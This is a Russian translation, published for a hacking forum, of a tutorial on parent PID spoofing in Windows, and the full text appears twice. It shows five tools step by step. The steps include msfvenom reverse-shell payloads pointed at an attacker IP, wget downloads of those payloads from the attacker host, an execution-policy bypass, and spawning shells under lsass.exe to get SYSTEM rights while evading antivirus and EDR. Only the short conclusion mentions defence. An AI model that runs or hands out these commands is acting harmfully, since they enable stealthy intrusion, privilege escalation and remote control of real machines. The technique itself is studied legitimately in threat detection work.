Введение
Подмена родительского PID — это метод манипулирования токеном доступа, который может помочь злоумышленнику обойти методы защиты, такие как эвристическое обнаружение, путем подмены PPID вредоносного файла на PPID законного процесса, такого как explorer.exe. Подделка может быть выполнена с использованием собственных вызовов API, которые могут помочь злоумышленнику явно указать PID, например вызов CreateProcess в C++. Это явное присваивание также может иметь определенные побочные преимущества, как мы увидим в этой статье.
ТАКТИКА MITRE: повышение привилегий (TA0004) и уклонение от защиты (TA0005)
ID ТЕХНИКИ MITRE: T1134 (манипулирование токеном доступа)
Подмена родительского PID (T1547.009)
Описание
Мониторинг дочерних процессов — один из наиболее распространенных атрибутов при поиске угроз. Охотник за угрозами может проанализировать, что если процесс conhost.exe или cmd.exe был создан из инструмента такого как Adobe Reader или MS Excel, это может указывать на потенциальную компрометацию. Антивирусные решения отслеживают это поведение при эвристическом обнаружении и предупреждают администратора.
Подмена родительского PID противодействует этому обнаружению. Метод PPID пытается обмануть решение AV/EDR, заставив его думать, что это действие было вызвано законным процессом, таким как lsass.exe. Он делает это, подделывая PID процесса, чтобы он соответствовал PID его родителя. Другим большим дополнительным преимуществом, которое может прийти вместе с этим методом, является повышение привилегий, если родительский процесс работает с привилегиями SYSTEM, а затем благодаря наследованию токенов доступа его дочерний процесс также имеет те же права SYSTEM.
Процесс, PID и родительский PID
Процесс: в Windows приложения состоят из одного или нескольких процессов. Проще говоря, часть текущей запущенной программы называется процессом. Возможно, что разные приложения могут использовать один и тот же процесс (например, cmd.exe), и для двусмысленности присваивается целое число, чтобы отличить один процесс от другого. Это целое число известно как PID.
PID: обозначает идентификатор процесса (PID), который является числовым представлением запущенного процесса. Функция GetCurrentProcessID() в Windows, которая возвращает PID указанного процесса.
Родительский процесс. Родительские процессы — это процессы, которые могут порождать несколько дочерних процессов. Например, команда explorer.exe /root, "C:\Windows\System32\cmd.exe" порождает cmd.exe как дочерний процесс для родительского explorer.exe. В коде родители могут использовать системный вызов fork() для создания потомка.
PPI: обозначает идентификатор родительского процесса (PPID), который представляет собой числовое представление, данное родительскому процессу. Любой процесс, у которого есть дочерний процесс, может находиться в отношениях родитель-потомок.
Метод 1 (двоичный файл C++ для подмены PID)
Дидье Стивенс изначально говорил об этом методе в посте здесь (https://blog.didierstevens.com/2009...ent-or-playing-with-the-windows-process-tree/). С тех пор код был недоступен для многих геолокаций, но, к счастью, его можно загрузить через waybackmachine по этой ссылке (https://web.archive.org/web/2021022...om/files/software/SelectMyParent_v0_0_0_1.zip). Обратите внимание, что вам необходимо пересобрать этот EXE-файл, если вы используете более поздние версии Visual Studio. В Visual Studio 2022 я удалил файлы SelectMyParent.pdb в папке отладки и выпуска и пересобрал проект, чтобы он заработал.
В конце вы видите, что explorer.exe работает с PID 3808.
Таким образом, чтобы создать наш собственный двоичный файл под этим родительским explorer.exe, мы можем использовать SelectMyParent.exe следующим образом, и вы увидите новый процесс, созданный с PID, упомянутым в выводе.
SelectMyParent.exe notepad 3808
После проверки в проводнике процессов мы видим, что блокнот запущен с PID 1168.
Точно так же мы можем запустить собственный EXE-файл. Давайте сначала создадим один исполняемый файл с помощью msfvenom и загрузим файл с помощью веб-сервера python3.
msfvenom -p windows/x64/shell_reverse_tcp -f exe LHOST=192.168.0.89 LPORT=1337 > shell.exe
python3 -m http.server 80
При использовании скомпрометированного терминала можно просмотреть запущенные процессы с помощью команды tasklist.
В списке вы можете увидеть процесс lsass.exe, работающий на порту 644, как NT AUTHORITY\SYSTEM.
Итак, я запущу SelectMyParent.exe, указав загруженную оболочку и PID lsass.exe.
SelectMyParent.exe shell.exe 644
Как видите, на порту 1337 я получаю обратный вызов как NT AUTHORITY\SYSTEM, указывающий, что привилегии были повышены!
Способ 2 (внедрение DLL с помощью подмены PID в powershell)
Лаборатории F-Secure создали альтернативу бинарному файлу Дидье в powershell. Они используют тот же процесс, что и Дидье, но основное отличие состоит в том, что дочерний процесс с внедренной DLL может быть порожден как дочерний, что делает его мощным. Эта инъекция выполняется путем подмены PID. Код можно скачать здесь (https://github.com/countercept/ppid-spoofing). Кроме того, в скомпрометированной системе злоумышленник должен отслеживать желаемый PID с помощью списка задач. Здесь мы выбираем Powershell в качестве родителя с PID 3488.
Теперь мы будем использовать msfvenom для создания нашей собственной DLL, которая будет внедрена в процессе.
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f dll > shell.dll
Теперь нам нужно загрузить скрипт powershell и выполнить следующую команду:
Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 3488 -spawnto "C:\Windows\System32\notepad.exe" -dllpath shell.dll
Как видите, это сработало и получилась обратная оболочка
Таким образом, notepad.exe с введенным кодом (предоставленным DLL) был создан как дочерний процесс powershell.exe на PPID 3488.
Способ 3 (скрипт Powershell для подмены PID)
Decoder-it разработан как сценарий powershell на основе рекомендаций, предоставленных Дидье Стивенсом. Используя метод CreateProcessFromParent(), скрипт psgetsystem, который можно найти здесь (https://github.com/decoder-it/psgetsystem.git), можно использовать для порождения дочернего процесса путем подмены PID. Во-первых, мы отмечаем PID нашего желаемого процесса. Вот, lsass.exe
Теперь мы можем запустить скрипт в powershell, например:
powershell -ep bypass
wget 192.168.0.89/psgetsys.ps1 -O psgetsys.ps1
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(636,"C:\Users\Public\shell.exe","")
В конце мы видим, что shell.exe был создан из процесса lsass.exe.
И в результате был получен реверс шелл.
Способ 4 (двоичный файл C# для подмены PID)
py7hagoras разработал проект GetSystem, который представляет собой реализацию на C# той же техники, которую мы обсуждали, которую можно найти здесь (https://github.com/py7hagoras/GetSystem.git).
Нам просто нужно загрузить это в систему-жертву и указать путь к вредоносному файлу в качестве аргумента 1 и имя процесса, который нужно подделать, в качестве аргумента 2.
powershell wget 192.168.0.89/GetSystem.exe -O GetSystem.exe
GetSystem.exe shell.exe -O lsass
Теперь инструмент автоматически найдет PID процесса, предоставленного в качестве аргумента, и автоматически запустит оболочку.
Мы видим, что shell.exe был создан как дочерний процесс процесса lsass.
Способ 5 (внедрение шелл-кода с помощью спуфинга PID)
Чираг Савла разработал отличный инструмент под названием "ProcessInjection" на C#, который может выполнять ряд функций, включая внедрение процессов путем подмены PID. Предоставляя действительный PID, инструмент пытается использовать собственные вызовы API, такие как CreateProcess, для подмены PID, а затем внедряет в них код. Инструмент поддерживает ввод шелл-кода в шестнадцатеричном формате, C и base64, а также возможность внедрения DLL с использованием того же метода. Его можно скачать здесь. (https://github.com/3xpl01tc0d3r/ProcessInjection)
Во-первых, нам нужно создать шестнадцатеричный шелл-код полезной нагрузки reverse_tcp, используя msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f hex > hex.txt
Теперь, когда мы создали наш шелл-код, в системе-жертве мы можем запустить инструмент. Обратите внимание, что инструмент принимает множество флагов в качестве входных данных в зависимости от выполняемого действия, которое можно просмотреть, просто набрав "ProcessInjection.exe".
Чтобы запустить внедрение шелл-кода в процесс, мы используем следующие флаги:
/ppath: путь к целевому EXE-файлу.
/path: путь к шеллкоду, который будет вставлен в целевой exe
/parentproc: целевой EXE-файл должен быть создан в рамках этого процесса.
/f: тип файла
/t: тип атаки. Здесь /t:1 — инъекция ванильного процесса.
powershell wget 192.168.0.89/hex.txt -O hex.txt
powershell wget 192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1
По желанию, calc.exe был загружен с предоставленным нами шеллкодом в процессе explorer.exe.
И, как и ожидалось, получен реверс шелл!
Теперь тот же инструмент можно также использовать для внедрения DLL в нужный исполняемый файл с помощью таких вызовов, как VirtualAllocEx и WriteProcessMemory.
Сначала нам нужно создать нашу DLL с помощью msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f dll > shell.dll
Теперь мы можем использовать ProcessInjection.exe с параметром /t:2 для внедрения DLL в calc.exe и внедрить в него shell.dll, например:
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:shell.dll /parentproc:explorer /t:2
Как и ожидалось, после успешного выполнения DLL была получена обратная оболочка.
После проверки процессов в системе администратора с помощью проводника процессов мы видим, что у explorer.exe есть дочерний calc.exe, который, в свою очередь, запускает нашу DLL с использованием библиотеки rundll.
Заключение
Этот метод широко используется злоумышленниками для проведения скрытых операций, чтобы своевременно обнаруживать индикаторы компрометации. Многие решения EDR, которые довольно устарели и не исправлены, можно легко обойти с помощью этой техники. В этой статье мы намерены подчеркнуть важность обновления решений EDR в организациях и использования функций интеллектуального обнаружения в хороших продуктах, которые могут обнаруживать такие методы. Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/parent-pid-spoofing-mitret1134/
Подмена родительского PID — это метод манипулирования токеном доступа, который может помочь злоумышленнику обойти методы защиты, такие как эвристическое обнаружение, путем подмены PPID вредоносного файла на PPID законного процесса, такого как explorer.exe. Подделка может быть выполнена с использованием собственных вызовов API, которые могут помочь злоумышленнику явно указать PID, например вызов CreateProcess в C++. Это явное присваивание также может иметь определенные побочные преимущества, как мы увидим в этой статье.
ТАКТИКА MITRE: повышение привилегий (TA0004) и уклонение от защиты (TA0005)
ID ТЕХНИКИ MITRE: T1134 (манипулирование токеном доступа)
Подмена родительского PID (T1547.009)
Описание
Мониторинг дочерних процессов — один из наиболее распространенных атрибутов при поиске угроз. Охотник за угрозами может проанализировать, что если процесс conhost.exe или cmd.exe был создан из инструмента такого как Adobe Reader или MS Excel, это может указывать на потенциальную компрометацию. Антивирусные решения отслеживают это поведение при эвристическом обнаружении и предупреждают администратора.
Подмена родительского PID противодействует этому обнаружению. Метод PPID пытается обмануть решение AV/EDR, заставив его думать, что это действие было вызвано законным процессом, таким как lsass.exe. Он делает это, подделывая PID процесса, чтобы он соответствовал PID его родителя. Другим большим дополнительным преимуществом, которое может прийти вместе с этим методом, является повышение привилегий, если родительский процесс работает с привилегиями SYSTEM, а затем благодаря наследованию токенов доступа его дочерний процесс также имеет те же права SYSTEM.
Процесс, PID и родительский PID
Процесс: в Windows приложения состоят из одного или нескольких процессов. Проще говоря, часть текущей запущенной программы называется процессом. Возможно, что разные приложения могут использовать один и тот же процесс (например, cmd.exe), и для двусмысленности присваивается целое число, чтобы отличить один процесс от другого. Это целое число известно как PID.
PID: обозначает идентификатор процесса (PID), который является числовым представлением запущенного процесса. Функция GetCurrentProcessID() в Windows, которая возвращает PID указанного процесса.
Родительский процесс. Родительские процессы — это процессы, которые могут порождать несколько дочерних процессов. Например, команда explorer.exe /root, "C:\Windows\System32\cmd.exe" порождает cmd.exe как дочерний процесс для родительского explorer.exe. В коде родители могут использовать системный вызов fork() для создания потомка.
PPI: обозначает идентификатор родительского процесса (PPID), который представляет собой числовое представление, данное родительскому процессу. Любой процесс, у которого есть дочерний процесс, может находиться в отношениях родитель-потомок.
Метод 1 (двоичный файл C++ для подмены PID)
Дидье Стивенс изначально говорил об этом методе в посте здесь (https://blog.didierstevens.com/2009...ent-or-playing-with-the-windows-process-tree/). С тех пор код был недоступен для многих геолокаций, но, к счастью, его можно загрузить через waybackmachine по этой ссылке (https://web.archive.org/web/2021022...om/files/software/SelectMyParent_v0_0_0_1.zip). Обратите внимание, что вам необходимо пересобрать этот EXE-файл, если вы используете более поздние версии Visual Studio. В Visual Studio 2022 я удалил файлы SelectMyParent.pdb в папке отладки и выпуска и пересобрал проект, чтобы он заработал.
В конце вы видите, что explorer.exe работает с PID 3808.
Таким образом, чтобы создать наш собственный двоичный файл под этим родительским explorer.exe, мы можем использовать SelectMyParent.exe следующим образом, и вы увидите новый процесс, созданный с PID, упомянутым в выводе.
SelectMyParent.exe notepad 3808
После проверки в проводнике процессов мы видим, что блокнот запущен с PID 1168.
Точно так же мы можем запустить собственный EXE-файл. Давайте сначала создадим один исполняемый файл с помощью msfvenom и загрузим файл с помощью веб-сервера python3.
msfvenom -p windows/x64/shell_reverse_tcp -f exe LHOST=192.168.0.89 LPORT=1337 > shell.exe
python3 -m http.server 80
При использовании скомпрометированного терминала можно просмотреть запущенные процессы с помощью команды tasklist.
В списке вы можете увидеть процесс lsass.exe, работающий на порту 644, как NT AUTHORITY\SYSTEM.
Итак, я запущу SelectMyParent.exe, указав загруженную оболочку и PID lsass.exe.
SelectMyParent.exe shell.exe 644
Как видите, на порту 1337 я получаю обратный вызов как NT AUTHORITY\SYSTEM, указывающий, что привилегии были повышены!
Способ 2 (внедрение DLL с помощью подмены PID в powershell)
Лаборатории F-Secure создали альтернативу бинарному файлу Дидье в powershell. Они используют тот же процесс, что и Дидье, но основное отличие состоит в том, что дочерний процесс с внедренной DLL может быть порожден как дочерний, что делает его мощным. Эта инъекция выполняется путем подмены PID. Код можно скачать здесь (https://github.com/countercept/ppid-spoofing). Кроме того, в скомпрометированной системе злоумышленник должен отслеживать желаемый PID с помощью списка задач. Здесь мы выбираем Powershell в качестве родителя с PID 3488.
Теперь мы будем использовать msfvenom для создания нашей собственной DLL, которая будет внедрена в процессе.
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f dll > shell.dll
Теперь нам нужно загрузить скрипт powershell и выполнить следующую команду:
Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 3488 -spawnto "C:\Windows\System32\notepad.exe" -dllpath shell.dll
Как видите, это сработало и получилась обратная оболочка
Таким образом, notepad.exe с введенным кодом (предоставленным DLL) был создан как дочерний процесс powershell.exe на PPID 3488.
Способ 3 (скрипт Powershell для подмены PID)
Decoder-it разработан как сценарий powershell на основе рекомендаций, предоставленных Дидье Стивенсом. Используя метод CreateProcessFromParent(), скрипт psgetsystem, который можно найти здесь (https://github.com/decoder-it/psgetsystem.git), можно использовать для порождения дочернего процесса путем подмены PID. Во-первых, мы отмечаем PID нашего желаемого процесса. Вот, lsass.exe
Теперь мы можем запустить скрипт в powershell, например:
powershell -ep bypass
wget 192.168.0.89/psgetsys.ps1 -O psgetsys.ps1
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(636,"C:\Users\Public\shell.exe","")
В конце мы видим, что shell.exe был создан из процесса lsass.exe.
И в результате был получен реверс шелл.
Способ 4 (двоичный файл C# для подмены PID)
py7hagoras разработал проект GetSystem, который представляет собой реализацию на C# той же техники, которую мы обсуждали, которую можно найти здесь (https://github.com/py7hagoras/GetSystem.git).
Нам просто нужно загрузить это в систему-жертву и указать путь к вредоносному файлу в качестве аргумента 1 и имя процесса, который нужно подделать, в качестве аргумента 2.
powershell wget 192.168.0.89/GetSystem.exe -O GetSystem.exe
GetSystem.exe shell.exe -O lsass
Теперь инструмент автоматически найдет PID процесса, предоставленного в качестве аргумента, и автоматически запустит оболочку.
Мы видим, что shell.exe был создан как дочерний процесс процесса lsass.
Способ 5 (внедрение шелл-кода с помощью спуфинга PID)
Чираг Савла разработал отличный инструмент под названием "ProcessInjection" на C#, который может выполнять ряд функций, включая внедрение процессов путем подмены PID. Предоставляя действительный PID, инструмент пытается использовать собственные вызовы API, такие как CreateProcess, для подмены PID, а затем внедряет в них код. Инструмент поддерживает ввод шелл-кода в шестнадцатеричном формате, C и base64, а также возможность внедрения DLL с использованием того же метода. Его можно скачать здесь. (https://github.com/3xpl01tc0d3r/ProcessInjection)
Во-первых, нам нужно создать шестнадцатеричный шелл-код полезной нагрузки reverse_tcp, используя msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f hex > hex.txt
Теперь, когда мы создали наш шелл-код, в системе-жертве мы можем запустить инструмент. Обратите внимание, что инструмент принимает множество флагов в качестве входных данных в зависимости от выполняемого действия, которое можно просмотреть, просто набрав "ProcessInjection.exe".
Чтобы запустить внедрение шелл-кода в процесс, мы используем следующие флаги:
/ppath: путь к целевому EXE-файлу.
/path: путь к шеллкоду, который будет вставлен в целевой exe
/parentproc: целевой EXE-файл должен быть создан в рамках этого процесса.
/f: тип файла
/t: тип атаки. Здесь /t:1 — инъекция ванильного процесса.
powershell wget 192.168.0.89/hex.txt -O hex.txt
powershell wget 192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1
По желанию, calc.exe был загружен с предоставленным нами шеллкодом в процессе explorer.exe.
И, как и ожидалось, получен реверс шелл!
Теперь тот же инструмент можно также использовать для внедрения DLL в нужный исполняемый файл с помощью таких вызовов, как VirtualAllocEx и WriteProcessMemory.
Сначала нам нужно создать нашу DLL с помощью msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f dll > shell.dll
Теперь мы можем использовать ProcessInjection.exe с параметром /t:2 для внедрения DLL в calc.exe и внедрить в него shell.dll, например:
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:shell.dll /parentproc:explorer /t:2
Как и ожидалось, после успешного выполнения DLL была получена обратная оболочка.
После проверки процессов в системе администратора с помощью проводника процессов мы видим, что у explorer.exe есть дочерний calc.exe, который, в свою очередь, запускает нашу DLL с использованием библиотеки rundll.
Заключение
Этот метод широко используется злоумышленниками для проведения скрытых операций, чтобы своевременно обнаруживать индикаторы компрометации. Многие решения EDR, которые довольно устарели и не исправлены, можно легко обойти с помощью этой техники. В этой статье мы намерены подчеркнуть важность обновления решений EDR в организациях и использования функций интеллектуального обнаружения в хороших продуктах, которые могут обнаруживать такие методы. Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/parent-pid-spoofing-mitret1134/